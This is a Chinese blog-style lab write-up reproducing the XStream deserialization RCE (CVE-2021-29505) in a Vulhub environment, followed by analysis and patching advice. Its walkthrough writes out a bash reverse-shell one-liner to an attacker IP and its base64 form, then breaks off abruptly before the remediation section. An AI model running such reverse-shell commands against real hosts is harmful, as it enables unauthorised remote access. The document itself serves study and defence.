记录自己的漏洞复现:XStream远程代码执行复现(CVE-2021-29505)

本文介绍XStream 1.4.16及之前版本中存在的远程代码执行漏洞CVE-2021-29505,并详细展示了如何利用此漏洞获取目标系统的shell,最后提供了修复建议。

XStream远程代码执行复现(CVE-2021-29505)

链接: https://blog.youkuaiyun.com/DTSknanLP.

漏洞描述

XStream是一个轻量级、简单易用的开源Java类库,它主要用于将对象序列化成XML(JSON)或反序列化为对象。
XStream 在解析XML文本时使用黑名单机制来防御反序列化漏洞,但是其 1.4.16 及之前版本黑名单存在缺陷,攻击者可利用sun.rmi.registry.RegistryImpl_Stub构造RMI请求,进而执行任意命令。
一些其他相关漏洞:https://paper.seebug.org/1543/

(本漏洞笔者的观点是:通过POC使得靶机访问攻击机某一端口A,
此时A端口ysoserial实施攻击并监听另一端口B,目标反弹shell至攻击机端口B,完成复现)

测试环境及工具

Ubuntu18.04:IP-192.168.202.141
kali20:IP-192.168.202.128
ysoserial.jar: https://pan.baidu.com/s/1XflBuWFo-RkHUSkMQehLpg/提取码:tbp4

复现过程

Vulhub环境搭建后,进入root用户,然后对应目录下docker-compose up -d
之后访问http://your-ip:8080,将会得到该画面

获取反弹shell

攻击机kali下载好ysoserial.jar后,
bash -i>& /dev/tcp/192.168.202.128/23333 0>&1
进行base64编码后->
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMi4xMjgvMjMzMzMgMD4mMSA=

### 漏洞原理分析 XStream 是一个用于将 Java 对象序列化为 XML 或 JSON 格式,并能够反向从这些格式中还原出对象的库。CVE-2021-29505 描述了 XStream 在处理恶意构造的 XML 输入时存在远程代码执行(RCE)漏洞。攻击者可以通过精心设计的 XML 文档,绕过 XStream 的黑名单机制,触发任意类的实例化,从而导致任意代码执行。 该漏洞的核心在于 XStream 默认情况下未正确限制反序列化过程中可以加载和实例化的类类型。当应用程序使用 `fromXML()` 方法解析不受信任的 XML 数据时,如果数据包含特定构造的类名和参数,就可能触发恶意代码的执行。这种行为通常利用了 Java 反射机制来调用构造函数或静态方法[^2]。 ### 影响范围 此漏洞影响所有使用 XStream 且版本小于等于 1.4.16 的应用。由于其高危性质,任何暴露给不可信输入的应用程序都应被视为潜在受影响的目标。值得注意的是,尽管漏洞本身易于利用,但实际攻击的成功与否高度依赖于目标应用程序的具体实现方式以及是否存在可被利用的接口请求路径[^2]。 ### 漏洞修复方案 官方针对此问题发布了更新版本,建议用户升级至 XStream 1.4.17 或更高版本。新版本引入了更严格的默认配置,包括但不限于: - **白名单机制**:仅允许一组预定义的安全类型进行反序列化。 - **自定义转换器**:开发者可以创建自己的转换器以控制哪些类型的对象可以被反序列化。 - **关闭自动检测功能**:避免自动识别并加载外部类文件。 此外,对于无法立即升级的情况,可以通过手动修改代码来缓解风险,例如显式指定允许反序列化的类型列表,或者在解析之前对输入进行严格校验。 ```java // 示例:设置白名单 XStream xstream = new XStream(); xstream.allowTypes(new Class[]{com.example.SafeClass.class}); ``` ### 安全建议 除了及时修补软件组件外,还应该审查现有的系统架构与编码实践,确保不会无意间引入类似的脆弱性。定期进行安全性测试和渗透测试可以帮助发现潜在的问题点。同时,保持对第三方库的安全公告关注也是维护系统整体安全性的关键步骤之一[^3]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值